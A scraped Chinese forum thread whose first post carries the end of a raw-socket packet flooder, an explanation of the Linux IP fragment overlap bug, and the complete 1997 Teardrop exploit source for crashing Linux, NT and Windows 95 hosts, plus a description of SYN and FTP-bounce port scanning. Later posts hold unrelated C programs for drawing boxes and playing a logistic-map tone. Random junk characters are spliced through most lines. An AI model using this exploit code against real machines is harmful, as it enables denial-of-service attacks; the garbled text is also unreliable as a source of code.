* I7 ^; b7 R  M# N8 Cicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,* v9 h! H0 l! c6 J
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
  N+ {% w; o' v6 e1 I}</P><P>void ctrlc (int ignored)- L& v" ]. \5 u  K& b
{4 s. w3 q; j" b1 S2 v. Y
puts("\nDone!\n");5 l" ~, F8 u$ |5 U" ^9 z1 V/ o
exit(1);
3 W& t% e: N" A}</P><P>unsigned short in_chksum (u_short *addr, int len)
# z! S$ m$ d1 m- ~2 p; S{/ ^. v; {/ A) x5 V5 K
register int nleft = len;
4 h7 L; a7 \4 h& I. kregister int sum = 0;
/ S. }) r' v7 N, I0 K1 ru_short answer = 0;</P><P>while (nleft &gt; 1) {1 G. i( {8 E* S3 Z0 A
sum += *addr++;; ~$ C( O; @+ U0 R
nleft -= 2;7 X; j) n7 _5 Q# n7 Z2 `
}</P><P>if (nleft == 1) {/ x4 V  N/ H) l! H
*(u_char *)(&amp;answer) = *(u_char *)addr;
' p. G( n; ?  v( k* ~( t  D: ~sum += answer;% W  I6 Z# l, Z6 O, N1 r9 O- m
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
& S; }; n% y% [& H7 D, `' U% asum += (sum &gt;&gt; 16);
2 Z( N% [9 E/ ^2 S0 F# F6 x) k  Vanswer = ~sum;
* v: N0 v0 Q6 s6 u, d) @; Ereturn(answer);) u# e- l* m7 c% r' T% r+ n8 T
}</P><P>
, W* }5 d6 u& ~7 h% t0 F3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
, P3 g! L0 l, Q: ]* j0 }- ]fp = qp-&gt;fragments;
: y+ J3 r; R  p2 F- v- [! [% I3 z3 wwhile(fp != NULL)8 B7 P- H) U% U' N( V$ b) j* V$ n
{0 E, g# x) q5 i/ w% F/ p& U
if(count+fp-&gt;len &gt; skb-&gt;len)
. X3 h4 l. _7 j# E$ j3 c0 u{6 _+ i4 B3 V0 s9 g. W
error_to_big;
2 z! G  x' N0 e. b. r+ C7 ~( `  D6 O}4 V% T* f" T9 ]* d- Q
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
+ |* a0 e0 Z2 S% l: T$ ]count += fp-&gt;len;- `/ }; v. t2 Q
fp = fp-&gt;next;1 m* L7 [7 M) q* U- ?8 \
}) V) ^1 x7 t0 k" C  p5 o
这里只检查了长度过大的情况,而没有考虑长度过小的情况,. P& K' Q8 X6 g# [
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:: U. H& x" G, ]
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
7 X$ P% R1 h( v1 G& V是这样处理的:
$ Z2 T, }6 F$ A6 C! e: [5 F+ tif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
! ]0 ?" H  l9 X: w1 S) ]6 u- p{
$ _4 Q+ e% k, \4 `9 o1 si = prev-&gt;end - offset;
! ?; s/ q+ H# n- |" Y2 ^( |4 Koffset += i; /* ptr into datagram */
1 d% A( O8 d7 X9 wptr += i; /* ptr into fragment data */
# r( X0 y% d+ E4 N" M}</P><P>/* Fill in the structure. */0 B  T' ^0 y$ D0 ?( \
fp-&gt;offset = offset;
, G& b4 _. T) Pfp-&gt;end = end;, f( ?7 k7 w8 R# z( d
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
% Z% j. `+ e- ^1 v第一个碎片:mf=1 offset=0 payload=20
" Y7 Z( n6 F4 O敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 9 X# p) a& Z! D. N# C
offset=0
% _4 `2 D* f: R% L4 j4 p$ G这样第二个碎片的 end=9+10=19
$ M% f, d( b# voffset=offset+(20-offset)=201 A" R, B9 [4 q/ q
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>8 c- b5 h. X3 o3 |* _
/*
+ k# m% N2 M/ y8 w+ U% E* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
! O5 Q6 z  l& {+ q+ Y*
  I7 ?# r! j) [* v1 l9 E* Linux/NT/95 Overlap frag bug exploit5 s3 c5 u- E" E( q1 Q6 _
*; p  P+ J5 Z6 ^0 e+ P% r. _2 H
* Exploits the overlapping IP fragment bug present in all Linux kernels and
- j: g$ a9 {4 E, p) l! h9 s* NT 4.0 / Windows 95 (others?)
" N6 B) o4 l# O2 i*
* t- a5 @: Z% }* d' N  n. _* Based off of: flip.c by klepto
1 n; g# E  h: M$ I; _, G3 B* Compiles on: Linux, *BSD*+ x% V, Y- g; P, N8 e4 A
*
. \- R- f$ l, r' |* gcc -O2 teardrop.c -o teardrop
& f7 l; f/ Z9 L: E0 |" N* OR; |4 w) n; g0 F) ?) p) i- `" m
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING% r  P7 ^6 B$ t, [& w$ Y# H0 a# D
*/</P><P>#include <STDIO.H>
& v5 `0 f. O( w$ M. f' d! Z* J#include <STDLIB.H>  b0 L( |! \" _% e! H8 K
#include <UNISTD.H>% J" G8 \3 B" A3 a) C; J; ^
#include <STRING.H>
" {& ?. [7 S( o#include <NETDB.H>
9 S; c5 U, h2 c& I; j. T. X0 H#include <NETINET in.h>5 D. M( a& ~& H7 _" @
#include <NETINET udp.h>
$ v5 ^' J3 @1 a+ {& c#include <ARPA inet.h>/ C. k  j  ~5 f
#include <SYS types.h>
7 f& C# ^! M" a- `#include <SYS time.h>
+ T, _' v5 l& h# W#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
8 i' F# X1 K3 p' A1 a4 z/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
5 }' T0 D, v9 i' s2 c: R4 c#define FIX(n) (n)! G8 \- D1 q$ r6 V% W7 i: v# g) ?
#else /* OpenBSD 2.1, all Linux */
- i- R$ C0 y! x2 o#define FIX(n) htons(n)
; e" u  l/ e& `. ^8 D5 c#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
! A1 U/ q, M) I9 o#define IPH 0x14 /* IP header size */1 }3 p2 r  D1 B6 p# y# T
#define UDPH 0x8 /* UDP header size */& A2 Y" G% d, c2 z0 S) M
#define PADDING 0x1c /* datagram frame padding for first packet */6 A- Q# J  n: x; M
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
+ p3 C+ ^3 F; ^# s; N* k0 E#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can1 I9 `& @4 p$ F5 \) T! E* c) U
* withstand maybe 5 or 10 sometimes... Experiment.
& B& ~, Z7 q- }' O" [& m9 I*/</P><P>void usage(u_char *);
9 ^% M4 Q* L5 A( P/ ku_long name_resolve(u_char *);
+ `/ k) R3 s+ c0 B% \# A4 ?u_short in_cksum(u_short *, int);
* _; |4 I  U" |& ovoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)  \, G9 Z1 v* A# k3 ^" T: W% ?
{$ q8 Y, I+ C% K7 n
int one = 1,
0 }8 O/ o! V+ i$ Lcount = 0,
; l1 L0 r/ A& {$ t  R( Ji,
& F$ p' x# x" r$ {& c  e9 yrip_sock;
8 b; ]! {( x8 Ru_long src_ip = 0, dst_ip = 0;# {( w5 k; s1 r/ ~& V! J
u_short src_prt = 0, dst_prt = 0;2 g0 Q: u% r0 m; V
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW% ~' H5 G/ R' @- y6 G7 ?& F
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
5 s1 X% J7 R/ a3 D7 L) d: g1 H. ^{4 ^+ {$ z- u% M1 c% F1 f
perror("raw socket");
- g) r+ e, n4 U1 u. y) lexit(1);
. l6 \2 j" s5 f, f/ m}
6 [( T4 a. Y8 U//由系统处理IP校验和。' a4 L# K/ S. m" _# `( ]
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))  C- U; e' _0 H% {) q2 x4 k& B
&lt; 0)8 p! A; p5 U5 x/ R0 C8 w
{$ B* d0 L$ T3 T% P
perror("IP_HDRINCL");2 w. Y0 [2 G+ w. m2 T9 M; c9 A
exit(1);2 w9 ^3 v3 M+ ^( f
}</P><P>if (argc &lt; 3) usage(argv[0]);
) y! Q4 V/ o" s( b2 z$ a5 bif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
6 G& C# N* r7 H{
& x% M& z" z6 H" R- G0 Vfprintf(stderr, "What the hell kind of IP address is that?\n");
) B; C" n$ u9 E7 I' d+ lexit(1);6 Z+ B" x5 |1 a1 d! v
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
' {' M0 U2 I5 C' b/ o{- a# w/ m/ N8 o" D! j
switch (i)* o( r* G' ^( l  B
{0 [0 b" F$ h& E0 m+ x2 F+ a: }
case 's': /* source port (should be emphemeral) */7 q+ T1 F: ]" O5 ]  R, {5 P
src_prt = (u_short)atoi(optarg);# k) a5 T- ]5 c0 V/ ]/ U$ j
break;
5 \9 A/ o7 r6 T# }5 X( p% ecase 't': /* dest port (DNS, anyone?) */8 h+ Y# V4 T, t. m) H; v4 h
dst_prt = (u_short)atoi(optarg);
7 e8 z7 C+ ?! V7 @1 H4 L: n4 tbreak;
1 w' @4 w6 H- Q" F, Tcase 'n': /* number to send */
7 @; c& v* o% F: ]: ?count = atoi(optarg);. R. u. M& h- g9 z
break;
' s: W8 B" x5 P; Bdefault :
$ }6 e3 g- Y8 v$ Q" ?& Vusage(argv[0]);0 |, u, m) i: _4 O& F! C8 z; E
break; /* NOTREACHED */
2 G/ U6 B; y* x4 e- E  a* ~/ Z}
) J0 k5 g3 J# E2 J) H}</P><P>srandom((unsigned)(time((time_t)0)));6 V( F% a& K* ^* t* A3 |
if (!src_prt) src_prt = (random() % 0xffff);
% B, [7 ]# q. |! M. @; D4 sif (!dst_prt) dst_prt = (random() % 0xffff);
) ]: E, v& V" n7 u: v; uif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
$ ^7 [# g9 M" n. i  Jaddr.s_addr = src_ip;
: |- d$ g, H1 afprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);9 X  A  b: ~" X/ P
addr.s_addr = dst_ip;
5 Z" I! g% i! ^; G! P( `fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);+ @2 T, |( [  s, b/ I* D# j1 A5 H& t
fprintf(stderr, " Amt: %5d\n", count);
' {/ v7 f8 W9 d- S) Z; Jfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
/ ]6 Q6 m1 Q  }. }; ~$ g. A6 a{7 L, J0 }" j, \1 [
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
2 _; E, C0 V, @. J' ffprintf(stderr, "b00m ");
% }# Z3 c9 ]1 p3 c4 N* A& qusleep(500);7 ^; [% X0 `' X! s2 `9 t0 P
}
7 k7 C7 c9 K- _* Yfprintf(stderr, "]\n");) e7 ]! X' W0 g1 u  \
return (0);
2 R2 Y0 j8 b, F) @: }) r}</P><P>/*' v1 [( s, Z7 x  Z( n$ Q
* Send two IP fragments with pathological offsets. We use an implementation
. a& n" U9 M4 H0 O* independent way of assembling network packets that does not rely on any of( l7 ^; I: N7 o/ Q, P
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD)." S4 \+ @: m" e
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
9 Z; u% `" U  S4 X5 `# ~u_short dst_prt)3 n, v1 j$ z% J
{
$ p, R8 y) a% U3 P9 ]u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */) ^( J# s, f3 Z3 O1 B  A- a
u_char byte; /* a byte */
! b0 w" W) [6 b, l  R: r( D$ d+ Q, cstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;4 M4 X* G. ^8 _3 b3 S
sin.sin_port = src_prt;3 @- w6 \1 |+ C: c& S2 `3 w' ~/ B- e
sin.sin_addr.s_addr = dst_ip;</P><P>/*% n1 C( y6 Z& K* O! {7 C& r2 \2 G
* Grab some memory for our packet, align p_ptr to point at the beginning4 l# Y( l3 m5 h* R1 j. X! q8 w2 Z
* of our packet, and then fill it with zeros.8 J& ^$ c. c7 K$ m2 {8 l
*/. Q3 z# h+ x  e: p: s$ [: b
packet = (u_char *)malloc(IPH + UDPH + PADDING);
/ }6 |# A6 t- B, q, O0 E5 [p_ptr = packet;
0 m% M! p; S1 }/ p+ gbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
& _, Y% }5 C9 u8 P, Pmemcpy(p_ptr, &amp;byte, sizeof(u_char));: u  X3 }1 p) c
p_ptr += 2; /* IP TOS (skipped) */8 T' i! x- G5 X/ ~4 @( H0 F
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
# A  k+ G% \7 l( p  d# a4 k* S2 \. rp_ptr += 2;/ x( x# f2 m6 a( ?7 x5 A7 q8 D
*((u_short *)p_ptr) = htons(242); /* IP id */
8 U: d6 V" w* p! r* Rp_ptr += 2;
; ?: s) k# J. b' J*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
/ Z9 n% k6 y5 z0 x" s/ j! Up_ptr += 2;) R) Z& s& U, g' F' W& O! D5 l+ T1 m. D
*((u_short *)p_ptr) = 0x40; /* IP TTL */- x) Y9 q( K2 ~& C  s1 A1 z
byte = IPPROTO_UDP;) D* Q0 a5 T' m% h
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
* o+ T" ^- i  ?" s: `p_ptr += 4; /* IP checksum filled in by kernel */
5 i) }. a8 X" D# e2 n, R- p*((u_long *)p_ptr) = src_ip; /* IP source address */$ z2 l8 y. ]2 p
p_ptr += 4;  ^; K; c3 q9 b3 T
*((u_long *)p_ptr) = dst_ip; /* IP destination address */1 [; I2 c  P, H
p_ptr += 4;
7 E: q. W1 G  l* {! l$ e7 O*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
* y1 s! v* n6 \2 V; j, Ap_ptr += 2;; b* O" O  y& c3 \. f1 }
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */9 L1 B; C3 E4 r. \2 w% }! w" _
p_ptr += 2;4 s: f$ h( r/ y8 z4 w6 _: X* X. a  I
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
* u6 E/ E6 h- a% [9 d2 g: G6 |3 csizeof(struct sockaddr)) == -1)
5 \6 p! f6 n5 _1 u) z{% S4 g( r9 T( l8 _
perror("\nsendto");  V; K2 W* n. ?9 ~; N
free(packet);7 i7 n- g6 q, X, A
exit(1);4 a; b0 s3 |  L& J$ s6 ~
}</P><P>/* We set the fragment offset to be inside of the previous packet's. l+ G$ }. ?7 c# G" d2 {
* payload (it overlaps inside the previous packet) but do not include
4 f# a6 }4 Z/ Y+ o* enough payload to cover complete the datagram. Just the header will
; G# k) K9 M4 S+ T5 c/ X; g* do, but to crash NT/95 machines, a bit larger of packet seems to work( Q  l3 A3 Q" U; A6 _4 Q
* better.
7 D  w7 L& \, E*/8 J& h2 u4 x4 D: B7 T
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
5 N7 j* n& b, E/ Q  t: |$ C*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);) ~5 P. |. h3 i7 C
p_ptr += 4; /* IP offset is 6 bytes into the header */1 D$ r% S0 n" z' l
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,7 g' B/ C( R4 o- z; ~
sizeof(struct sockaddr)) == -1)' u8 r) T$ {4 ~: A
{
% \: \$ i1 ?; S" A/ A7 ~9 K2 Bperror("\nsendto");
  ]+ P: c% q2 Q. H: Efree(packet);
) G7 D9 A  l+ G  vexit(1);
" }1 B7 r6 O9 X0 X' c}
) Q& C4 j/ D5 S+ `* L2 Z, ^7 O0 jfree(packet);. F( N& u; O" j  s
}</P><P>u_long name_resolve(u_char *host_name)/ ?, n3 D. P6 E8 ^9 R
{
0 u, c" t* L! Ustruct in_addr addr;
& U3 S& ^7 p- V/ ^8 H0 }. zstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
! F& c6 M' p5 J* @; Y% _/ F. {{6 O7 m3 I3 E- `3 I
if (!(host_ent = gethostbyname(host_name))) return (0);
. K* D: ^, R' T  J' v; w+ obcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
6 I. q2 T: @, L/ E& K; Y9 S8 S}
" ^! [% F, e& P) z- e* B: v+ }return (addr.s_addr);! I7 F, m: t! |2 [
}</P><P>void usage(u_char *name)* n; C4 g1 l* l6 P9 q7 l
{1 N, y  R4 C$ l* A
fprintf(stderr,: }9 |* Y1 |; C" \( Z
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
6 ^4 s0 B: m- u) ?% ^/ Yname);
& Q2 I" R# f& F1 \7 T# O; oexit(0);: f0 |+ K' \: M5 v
}</P><P>
, D$ l, F1 j5 o, x$ _7 c4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
7 C, t0 c6 J+ @: E7 ~. P( a# G(1) Half-open(半打开)
8 e+ N4 L2 h# B7 n" @4 U7 N: x利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
3 s. j% v6 d8 ^, @: t3 U% `8 a如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
; T# m' t# o# Y1 R3 G利用了FTP的port命令,例如可以这样作:
" r1 G1 ~+ x, P1 \1 T1 e选择一个FTP服务器,连上后令port命令指向目标机,如果返回1 p2 i% g6 X. y  Z1 j* O
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
% n: y% T" O# K" |该端口无服务。' G+ n( k# w1 I# v* J
telnet 192.168.1.13 21
0 ]8 [; [4 ?$ j6 |% K* ]Trying 192.168.1.13...9 F' f# n4 P' c0 f
Connected to pp.bricks.org.
7 y; ~; y5 G8 n* E' S# |; SEscape character is '^]'.
9 j+ d* z, S6 ?2 c; m220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
( m$ P4 j/ p' f9 C! q  g; [/ H5 F7 AThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
$ w% X9 F0 p9 d8 y6 y" E331 Guest login ok, send your complete e-mail address as password.
9 B$ B% g3 ^% a+ A6 Ppass aa@aa.aa
4 n  Z+ {) M. }# ?: Q230 Guest login ok, access restrictions apply.
1 \' s+ e8 Q( i5 Dport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.) v- Z4 N3 C" O5 |  A
425 Can't build data connection: Connection refused.
8 U& g8 p* {9 s: b, e//该端口未活动 1 _, h' W& ^5 P* \5 ~7 c7 m
150 Opening ASCII mode data connection for file list.% H! `* _, s$ P/ m6 e
226 Transfer complete.
& B- A. ?: s2 Y//该端口活动中' t; O% e# c  D. c: B2 Q
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing6 F. A) u! P) R. {' r6 ^
SYN|FIN ACK or SYN|ACK* RST
  _, Y; E6 C9 X  d* i/ x7 SACK Nothing RST, g- e' g6 U7 ~& U
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport. F( A: U8 K4 k  t
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
* q9 a- H& b5 B* q8 F- u若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认4 a3 S& S) x' G' A4 w
定它在向你做portscan。</P><P>notes:! p7 y; e: @! F
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),. P' O. r3 _+ @/ q- o6 e
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的; }8 g$ c7 T+ I% L# e& {
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
* g: D0 B! h3 p6 N) F<FONT color=#009900>/*
+ K7 G1 ]# n9 _' F# c. O3 R*0 [" q9 ?7 F* ]5 `) l% D4 V5 n+ N
* Short driver module& K4 C9 H9 d6 f" j5 X8 Y
*
% \) z! {) T  ]7 X; h( @- K*/</FONT></P><><FONT color=#009900>main()$ P8 j0 h5 D2 k
{
+ {1 O) M# |( x+ Tclrscr();
# r* b4 ]8 u/ i- Obox(1,1,23,79);
! J5 e+ c, U3 |) Y; d2 g& zbox(2,2,21,77);4 f$ \* @7 s1 P
box(3,3,19,75);6 q! p( r1 c, O* b; P0 h. _
box(4,4,17,73);' B$ V$ I2 m+ [, d, A  @0 F
box(5,5,15,71);
$ R9 A7 K: ?; ^( G% |& _/ ?2 Lbox(6,6,13,69);' M1 P$ O8 y& t3 G& c0 g, c. D
box(7,7,11,67);# x2 \1 T( i* T. f- F
box(8,8,9,65);
6 N6 Z) |# h+ s% `1 _box(9,9,7,63);' y& m* L* m  a5 k& B' t+ `' G* Q! q$ ^1 L
box(10,10,5,61);
) u' b2 e4 S  O: L% _# w2 {box(11,11,3,59);
: p5 T% F* u4 E. \, X1 Obox(12,12,1,57);; U3 T4 q+ ]3 w* ^
poscur(24,1);$ S: E! k+ u0 ^1 e+ A
}</FONT></P><><FONT color=#009900>/************************************************************
! M3 n! C' N& C0 P* BOX *1 _# ^( D5 Q' o% V' Y" g
*----------------------------------------------------------*5 H: J: ~7 F# x- N5 n& S; D2 d6 Q
* Written by: Jeff Ebert 7/01/87 *
4 ~" ]0 M8 c# F, I3 }: j& S* Modified by: xxxxxxxxxx *6 i, U6 J3 O( u) H- W
* *9 Q! ?/ a. d+ g# p3 l. l8 r
* Please modify me! *
- {6 j' w! d! W/ a& \" ], C# I* Possible Enhancements include but are not limited t *3 m5 G0 A% c: Y; K7 o
* 1) Variable box character styles [1 line or 2] *6 H3 v) z' b3 c3 \  Z
* 2) Error checking *
! N+ l7 ~7 ?; _, {( |* 3) Color options *
$ Y* Z$ Q( r% P* *- t8 ~  ~# g+ D5 [9 F. X6 y! s5 i
* *
. \* G3 v: i+ _: B* This function builds a simple double frame for a menu. *3 M: H& I  m1 Z  p% M
* The function is passed the parameters for the upper *
1 N/ G# i2 C3 P. u4 W* left corner row, upper left corner column the height *1 y5 M( Y+ e8 ]! @& y
* of the frame and the width. *, }" e  i6 k& J; C* q
* *$ B' A7 x) q0 e) m% U
************************************************************/: n6 F% _/ V6 o6 K
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
; V: s: ~( s# K/ e6 X$ g) N9 w#define URCOR 1872 O& P2 q% V9 U1 U+ f/ P
#define LLCOR 200
9 U: p; |' h- ?#define LRCOR 188
$ @, |3 E2 B+ s1 @! X$ ^, [, s#define VBAR 186: o8 D4 C) Z! R9 P3 G; ]" K
#define HBAR 205
" A- N+ q4 @/ O# Q#define ESC 27</FONT></P><><FONT color=#009900>" [9 `: U( B- G2 a1 W( d1 r2 k
box(row, col, hgt, wdth)
; ^7 e, d( c8 Q7 t* A( Gint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{" M8 l2 _, b  q6 S+ Q6 j. R$ V
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
0 F' n) X- f" A$ h/ e1 w" v7 wputchar(ULCOR);/ [  C8 d& f0 t- e
for(x = col + 1; x &lt;=(col + wdth -1); x++)
# x0 _' t( l9 |4 J7 n4 y6 Yputchar(HBAR);
# t: C, j1 i& `9 r  ^' E2 l7 {putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
! F) A- C8 l, r: f: m  hposcur(x,col);
5 Z% w5 `# v( f+ T3 `) M6 X$ }+ Kputchar(VBAR);
! C; s; R4 |& h+ Tposcur(x,col+wdth);
( A$ B4 \! `8 W4 ~putchar(VBAR);
" j# |" W! l; q5 ~}' |6 r- D. I4 h, L: V6 ~6 {
poscur(x,col);
7 ~  i& I4 y/ z. L# L/ b! M, ]/ _putchar(LLCOR);& l/ ?# }; ]' x# [4 V% f
for(x= col + 1; x &lt;=(col + wdth -1); x++)
3 _3 P. ]7 T# k8 p7 H' D5 ], Lputchar(HBAR);9 t  J8 y( j. T* {% L* r1 a- X
putchar(LRCOR);+ ]# O: T& w' t, V0 T
}</FONT></P><><FONT color=#009900>/********************************************************
& @" A, b7 G& `* POSCUR *& Z+ r- f' a3 e4 _% S
*------------------------------------------------------*2 }. ~3 R  |* t  K  @5 S
* This function positions the cursor at the specified *& J7 P6 u8 ^2 {- {0 Q
* x,y coordinate. It uses the ANSI standard ESCAPE *( R; a2 O- f5 K3 ]: k
* sequence to produce the desired effect. Its not the */ {: E* w4 L. u  x7 J
* fastest way to position the cursor, but perhaps the *
5 U% ]1 |9 r3 a  [. J) d1 C9 l* most portable. *4 a$ o7 y& i% n6 l* S, G7 @0 O
* ** o; [. b! q6 H1 m4 {, W& C' p
********************************************************/
- G; m7 S% E7 N  h: r: xposcur(xcor,ycor)
2 R6 g' v: W, e) Q4 Pint xcor,ycor;- M8 J2 P2 l3 F. d4 r
{ : ?" X' d* R5 Q2 l& k8 t9 e
printf("%c[%d;%dH",ESC,xcor,ycor);
  [( B, [" [" b% S! u( s4 d}</FONT></P><><FONT color=#009900>
  Z* l: p* s% c. y/********************************************************
, Y. T. c  }+ }2 l9 v* CLRSCR *2 F; g( F5 {+ {3 D* Y
*------------------------------------------------------*
' t3 T* j. H8 ^6 o& u2 X* This function positions the cursor at the specified *
9 \  m8 W$ i6 X& l* x,y coordinate. It uses the ANSI standard ESCAPE *2 w( A1 R8 X' I" F% ^
* sequence to produce the desired effect. Its not the *4 m7 q+ m5 d6 T/ r# N) ^
* fastest way to position the cursor, but perhaps the *
+ f! l  W% W& h, r! Y. u) H9 ~6 I* most portable. *
# m# B" w: h8 n  U3 M' L) u6 F* *
8 O1 }" }& f, \1 y) m$ F********************************************************/
" S* `9 T" G' u3 ?8 Hclrscr()
9 L7 E% F7 A# t! ?{ # [1 T" j8 {& J8 w+ e  e
printf("%c[2J",ESC);! w3 d1 s$ r7 c: ?/ y
}</FONT>  u8 D' R* r( D1 v
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])0 S, d2 ^* O: E- U9 i
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:% j0 U+ n. X6 h, b- }# H$ y, p9 ~. u
" g  {& m5 P5 x& o3 @
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
" R" P3 P# y% Y; X" D  <FONT color=#009900>#include <DOS.H>
! j# t9 K$ l! J# l  #include <STDIO.H>
& {1 J2 J" X' C/ F0 H9 r  main(){
( T7 y  }8 h4 Z$ p) |! E$ Z. E  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
% J- Q" {* }1 K, o# B+ u9 N8 R  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/6 [. b) c# F- g) C* Z
  /*i,j用于循环记数*/
4 ~* w, p7 Y1 j4 d2 |  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
6 T0 I3 @. N+ l# g. j6 A  fDis=fMax-fMin;
2 @, R$ C; [, ~% \9 N0 L5 J# y. P  for(j=1;;j++){" e# p' V4 x4 \4 _, j2 Q% \
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/8 `) Z8 \! d  X; h* r% n
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/: N( ^- q( |: y2 O: L% ?/ i8 l
